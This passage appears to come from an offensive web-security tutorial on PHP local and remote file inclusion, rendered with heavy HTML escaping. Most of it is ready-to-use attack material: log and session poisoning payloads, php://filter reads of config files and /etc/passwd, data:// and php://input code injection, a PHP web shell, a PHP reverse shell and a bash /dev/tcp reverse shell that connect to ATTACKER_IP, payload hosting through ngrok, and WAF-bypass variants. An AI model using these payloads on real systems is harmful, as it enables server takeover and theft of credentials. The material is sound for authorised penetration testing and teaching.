  &amp;lt;a name="the-environment-file-contains-the-useragent-httpuseragent-variable" href="#the-environment-file-contains-the-useragent-httpuseragent-variable" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  The environment file contains the User-Agent (HTTP_USER_AGENT variable)
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="when-included-php-executes-the-injected-code" href="#when-included-php-executes-the-injected-code" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  When included, PHP executes the injected code
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Via PHP session files:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;PHP stores session data in files like &amp;lt;code&amp;gt;/tmp/sess_[PHPSESSID]&amp;lt;/code&amp;gt;. If you can inject PHP code into your session data and then include the session file via LFI:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`php&amp;lt;br&amp;gt;
// Step 1: Create a session with PHP code injection&amp;lt;br&amp;gt;
// Visit a page that stores user input in the session:&amp;lt;br&amp;gt;
// username = &amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;// Step 2: Get your PHPSESSID from the cookie (e.g., abc123)&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;// Step 3: Include your session file:&amp;lt;br&amp;gt;
// ?page=../../../tmp/sess_abc123&amp;amp;cmd=id&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Via PHP wrappers (when include path is controlled):&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;PHP stream wrappers allow treating streams as if they were files. The &amp;lt;code&amp;gt;php://&amp;lt;/code&amp;gt; wrapper is particularly powerful for LFI exploitation:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="phpfilter-read-file-contents-with-base64-encoding-avoids-php-execution" href="#phpfilter-read-file-contents-with-base64-encoding-avoids-php-execution" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  php://filter — read file contents with Base64 encoding (avoids PHP execution):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=php://filter/convert.base64-encode/resource=config.php&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="this-returns-the-base64encoded-source-code-of-configphp" href="#this-returns-the-base64encoded-source-code-of-configphp" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  This returns the Base64-encoded source code of config.php
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="without-executing-it-allows-reading-php-file-contents-directly" href="#without-executing-it-allows-reading-php-file-contents-directly" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  without executing it — allows reading PHP file contents directly
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="decode-the-output-echo-base64output-base64-d" href="#decode-the-output-echo-base64output-base64-d" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Decode the output: echo "BASE64_OUTPUT" | base64 -d
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="phpinput-include-the-http-request-body-as-php-code" href="#phpinput-include-the-http-request-body-as-php-code" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  php://input — include the HTTP request body as PHP code:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=php://input&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="with-post-body-containing-ltphp-systemid-gt" href="#with-post-body-containing-ltphp-systemid-gt" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  With POST body containing: &amp;lt;?php system('id'); ?&amp;gt;
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="data-wrapper-include-a-data-uri-as-php-code" href="#data-wrapper-include-a-data-uri-as-php-code" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  data:// wrapper — include a data URI as PHP code:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=data://text/plain,&amp;lt;?php system('id')?&amp;gt;&amp;lt;br&amp;gt;
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpPz4=&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="base64-of-ltphp-systemidgt" href="#base64-of-ltphp-systemidgt" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  (Base64 of: &amp;lt;?php system('id')?&amp;gt;)
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="zip-and-phar-wrappers-for-file-upload-include-chains" href="#zip-and-phar-wrappers-for-file-upload-include-chains" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  zip:// and phar:// wrappers (for file upload + include chains):
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="upload-a-php-web-shell-inside-a-zip-file-with-a-jpg-extension" href="#upload-a-php-web-shell-inside-a-zip-file-with-a-jpg-extension" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Upload a PHP web shell inside a ZIP file with a .jpg extension
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="if-file-uploads-are-allowed-but-php-is-blocked-by-extension" href="#if-file-uploads-are-allowed-but-php-is-blocked-by-extension" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  If file uploads are allowed but PHP is blocked by extension:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="zippathtouploadjpgshellphp" href="#zippathtouploadjpgshellphp" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  zip://path/to/upload.jpg#shell.php
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;The php://filter wrapper deserves special attention:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="read-any-php-files-source-code-without-execution" href="#read-any-php-files-source-code-without-execution" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Read any PHP file's source code without execution:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=php://filter/read=convert.base64-encode/resource=index.php&amp;lt;br&amp;gt;
?page=php://filter/read=convert.base64-encode/resource=config.php&amp;lt;br&amp;gt;
?page=php://filter/read=convert.base64-encode/resource=../../../etc/passwd&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="multiple-filter-chaining" href="#multiple-filter-chaining" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Multiple filter chaining:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=php://filter/read=string.rot13|convert.base64-encode/resource=config.php&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="decode-the-output-on-your-machine" href="#decode-the-output-on-your-machine" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Decode the output on your machine:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;echo "BASE64_HERE" | base64 -d&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;This is extremely powerful: it lets you read the source code of all PHP files in the application — revealing database credentials, API keys, business logic, and other vulnerabilities without triggering any code execution.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="lfi-testing-methodology" href="#lfi-testing-methodology" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  LFI Testing Methodology
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="automated-lfi-testing-with-ffuf" href="#automated-lfi-testing-with-ffuf" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Automated LFI testing with ffuf:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;ffuf -u "&amp;lt;a href="http://target.com/page?file=FUZZ"&amp;gt;http://target.com/page?file=FUZZ&amp;lt;/a&amp;gt;" \&amp;lt;br&amp;gt;
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \&amp;lt;br&amp;gt;
  -fw 15 \&amp;lt;br&amp;gt;
  -mc 200&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="manual-testing-sequence" href="#manual-testing-sequence" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Manual testing sequence:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="1-confirm-basic-traversal" href="#1-confirm-basic-traversal" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  1. Confirm basic traversal:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl "&amp;lt;a href="http://target.com/page?file=../../../etc/passwd"&amp;gt;http://target.com/page?file=../../../etc/passwd&amp;lt;/a&amp;gt;"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="2-try-wrapperbased-reading-no-execution" href="#2-try-wrapperbased-reading-no-execution" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  2. Try wrapper-based reading (no execution):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl "&amp;lt;a href="http://target.com/page?file=php://filter/read=convert.base64-encode/resource=index"&amp;gt;http://target.com/page?file=php://filter/read=convert.base64-encode/resource=index&amp;lt;/a&amp;gt;"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="decode-echo-output-base64-d" href="#decode-echo-output-base64-d" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Decode: echo "OUTPUT" | base64 -d
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="3-test-log-file-access" href="#3-test-log-file-access" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  3. Test log file access:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl "&amp;lt;a href="http://target.com/page?file=../../../var/log/apache2/access.log"&amp;gt;http://target.com/page?file=../../../var/log/apache2/access.log&amp;lt;/a&amp;gt;"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="4-if-log-accessible-inject-php-via-useragent" href="#4-if-log-accessible-inject-php-via-useragent" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  4. If log accessible: inject PHP via User-Agent:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl -A '&amp;lt;?php system($_GET["cmd"]); ?&amp;gt;' "&amp;lt;a href="http://target.com/"&amp;gt;http://target.com/&amp;lt;/a&amp;gt;"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="5-execute-code-via-log-inclusion" href="#5-execute-code-via-log-inclusion" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  5. Execute code via log inclusion:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl "&amp;lt;a href="http://target.com/page?file=../../../var/log/apache2/access.log&amp;amp;cmd=id"&amp;gt;http://target.com/page?file=../../../var/log/apache2/access.log&amp;amp;cmd=id&amp;lt;/a&amp;gt;"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="6-get-reverse-shell" href="#6-get-reverse-shell" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6. Get reverse shell:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="set-up-listener-nc-lvnp-4444" href="#set-up-listener-nc-lvnp-4444" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Set up listener: nc -lvnp 4444
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl "&amp;lt;a href="http://target.com/page?file=../../../var/log/apache2/access.log&amp;amp;cmd=bash+-c+'bash+-i+%3E%26+/dev/tcp/ATTACKER/4444+0%3E%261'"&amp;gt;http://target.com/page?file=../../../var/log/apache2/access.log&amp;amp;cmd=bash+-c+'bash+-i+&amp;gt;%26+/dev/tcp/ATTACKER/4444+0&amp;gt;%261'&amp;lt;/a&amp;gt;"&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6113-remote-file-inclusion-rfi-serving-your-own-code-to-the-server" href="#6113-remote-file-inclusion-rfi-serving-your-own-code-to-the-server" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.11.3 Remote File Inclusion (RFI) — Serving Your Own Code to the Server
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="what-makes-rfi-different-and-more-directly-dangerous" href="#what-makes-rfi-different-and-more-directly-dangerous" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  What Makes RFI Different — And More Directly Dangerous
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Remote File Inclusion is LFI's more immediately dangerous sibling. Instead of including a local file (which requires a secondary step to inject code into that file), RFI allows the attacker to include a file hosted on an attacker-controlled remote server. The server fetches the URL and executes whatever PHP code it finds there.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;This eliminates the need for any pre-injection step. If RFI is possible, Remote Code Execution is immediate.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;PHP configuration requirements:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;RFI only works when two PHP configuration directives are set:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;allow_url_fopen = On&amp;lt;/code&amp;gt; — allows using URLs in file functions&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;code&amp;gt;allow_url_include = On&amp;lt;/code&amp;gt; — allows using URLs in include/require functions&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;allow_url_include&amp;lt;/code&amp;gt; has been &amp;lt;code&amp;gt;Off&amp;lt;/code&amp;gt; by default since PHP 5.2.0. This significantly limits RFI in modern deployments. However:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;Legacy applications may have explicitly enabled these settings&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Hosting providers that configure PHP permissively may have them enabled&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Some application frameworks or deployment scripts re-enable them&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Checking whether RFI is enabled:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="test-with-a-url-that-logs-access" href="#test-with-a-url-that-logs-access" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Test with a URL that logs access:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=&amp;lt;a href="http://your-burp-collaborator.burpcollaborator.net/test"&amp;gt;http://your-burp-collaborator.burpcollaborator.net/test&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="if-you-receive-an-http-request-in-collaborator-→-allowurlinclude-is-on-→-rfi-possible" href="#if-you-receive-an-http-request-in-collaborator-→-allowurlinclude-is-on-→-rfi-possible" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  If you receive an HTTP request in Collaborator → allow_url_include is On → RFI possible
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="rfi-exploitation-from-discovery-to-shell" href="#rfi-exploitation-from-discovery-to-shell" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  RFI Exploitation — From Discovery to Shell
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 1: Prepare your malicious PHP file&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Create a PHP web shell or reverse shell on your attack server:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;php&amp;lt;br&amp;gt;
&amp;lt;?php&amp;lt;br&amp;gt;
// Simple web shell — receives commands via GET parameter:&amp;lt;br&amp;gt;
if(isset($_GET['cmd'])) {&amp;lt;br&amp;gt;
    echo '&amp;lt;pre&amp;gt;' . shell_exec($_GET['cmd']) . '&amp;lt;/pre&amp;gt;';&amp;lt;br&amp;gt;
}&amp;lt;br&amp;gt;
?&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Or a full reverse shell PHP file:&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;php&amp;lt;br&amp;gt;
&amp;lt;?php&amp;lt;br&amp;gt;
// PHP reverse shell (simplified):&amp;lt;br&amp;gt;
$ip = 'ATTACKER_IP';&amp;lt;br&amp;gt;
$port = 4444;&amp;lt;br&amp;gt;
$sock = fsockopen($ip, $port);&amp;lt;br&amp;gt;
$proc = proc_open('/bin/sh -i', array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock), $pipes);&amp;lt;br&amp;gt;
?&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 2: Host your malicious file&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="start-a-simple-http-server-on-kali" href="#start-a-simple-http-server-on-kali" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Start a simple HTTP server on Kali:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 -m http.server 8000&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="or-use-phps-builtin-server" href="#or-use-phps-builtin-server" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Or use PHP's built-in server:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;php -S 0.0.0.0:8000&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="using-ngrok-to-make-it-accessible-over-the-internet" href="#using-ngrok-to-make-it-accessible-over-the-internet" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Using ngrok to make it accessible over the internet:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;ngrok http 8000&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 3: Include your remote file via the vulnerable parameter&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="basic-rfi" href="#basic-rfi" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Basic RFI:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=&amp;lt;a href="http://ATTACKER_IP:8000/shell.php"&amp;gt;http://ATTACKER_IP:8000/shell.php&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="with-command-execution" href="#with-command-execution" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  With command execution:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=&amp;lt;a href="http://ATTACKER_IP:8000/webshell.php&amp;amp;cmd=id"&amp;gt;http://ATTACKER_IP:8000/webshell.php&amp;amp;cmd=id&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="if-the-application-appends-php-to-your-input" href="#if-the-application-appends-php-to-your-input" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  If the application appends .php to your input:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="host-a-file-without-extension-shell" href="#host-a-file-without-extension-shell" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Host a file without extension: shell
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="the-application-constructs-httpattackerip8000shellphp-→-your-shell-executes" href="#the-application-constructs-httpattackerip8000shellphp-→-your-shell-executes" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  The application constructs: &amp;lt;a href="http://ATTACKER_IP:8000/shell.php"&amp;gt;http://ATTACKER_IP:8000/shell.php&amp;lt;/a&amp;gt; → your shell executes
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="using-https" href="#using-https" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Using HTTPS:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=&amp;lt;a href="https://ATTACKER_IP:8443/shell.php"&amp;gt;https://ATTACKER_IP:8443/shell.php&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="using-ftp-if-allowurlfopen-is-on-but-http-is-blocked" href="#using-ftp-if-allowurlfopen-is-on-but-http-is-blocked" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Using FTP (if allow_url_fopen is on but http is blocked):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=&amp;lt;a href="ftp://ATTACKER_IP/shell.php"&amp;gt;ftp://ATTACKER_IP/shell.php&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 4: Receive the reverse shell&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="start-listener-before-triggering-the-rfi" href="#start-listener-before-triggering-the-rfi" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Start listener before triggering the RFI:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;nc -lvnp 4444&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="trigger-rfi-with-reverse-shell-php" href="#trigger-rfi-with-reverse-shell-php" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Trigger RFI with reverse shell PHP:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl "&amp;lt;a href="http://target.com/page?page=http://ATTACKER_IP:8000/revshell.php"&amp;gt;http://target.com/page?page=http://ATTACKER_IP:8000/revshell.php&amp;lt;/a&amp;gt;"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="shell-appears-in-listener-window" href="#shell-appears-in-listener-window" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Shell appears in listener window
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="rfi-with-obfuscation-and-waf-bypass" href="#rfi-with-obfuscation-and-waf-bypass" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  RFI with Obfuscation and WAF Bypass
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="null-byte-to-bypass-extension-appending" href="#null-byte-to-bypass-extension-appending" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Null byte to bypass extension appending:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=&amp;lt;a href="http://ATTACKER_IP:8000/shell%00"&amp;gt;http://ATTACKER_IP:8000/shell%00&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="double-encoding" href="#double-encoding" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Double encoding:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=http%3A%2F%2FATTACKER_IP%3A8000%2Fshell.php&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="using-alternative-protocols" href="#using-alternative-protocols" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Using alternative protocols:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="base64-of-ltphp-systemgetcmd-gt" href="#base64-of-ltphp-systemgetcmd-gt" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  (Base64 of: &amp;lt;?php system($_GET['cmd']); ?&amp;gt;)
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="this-is-technically-a-wrapperbased-inclusion-not-remote-but-achieves-same-result" href="#this-is-technically-a-wrapperbased-inclusion-not-remote-but-achieves-same-result" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  This is technically a wrapper-based inclusion, not remote, but achieves same result
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="if-http-is-blocked-but-ftp-is-not" href="#if-http-is-blocked-but-ftp-is-not" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  If HTTP is blocked but FTP is not:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=&amp;lt;a href="ftp://ATTACKER_IP/shell.php"&amp;gt;ftp://ATTACKER_IP/shell.php&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="using-smb-windows-targets" href="#using-smb-windows-targets" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Using SMB (Windows targets):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=\ATTACKER_IP\share\shell.php&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="differences-between-lfi-and-rfi-side-by-side" href="#differences-between-lfi-and-rfi-side-by-side" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Differences Between LFI and RFI — Side by Side
&amp;lt;/h4&amp;gt;

&amp;lt;table&amp;gt;&amp;lt;thead&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;th&amp;gt;Aspect&amp;lt;/th&amp;gt;
&amp;lt;th&amp;gt;LFI&amp;lt;/th&amp;gt;
&amp;lt;th&amp;gt;RFI&amp;lt;/th&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/thead&amp;gt;&amp;lt;tbody&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;File location&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Same server (local)&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Remote attacker-controlled server&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;PHP requirements&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Always works if include() used&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Requires &amp;lt;code&amp;gt;allow_url_include = On&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
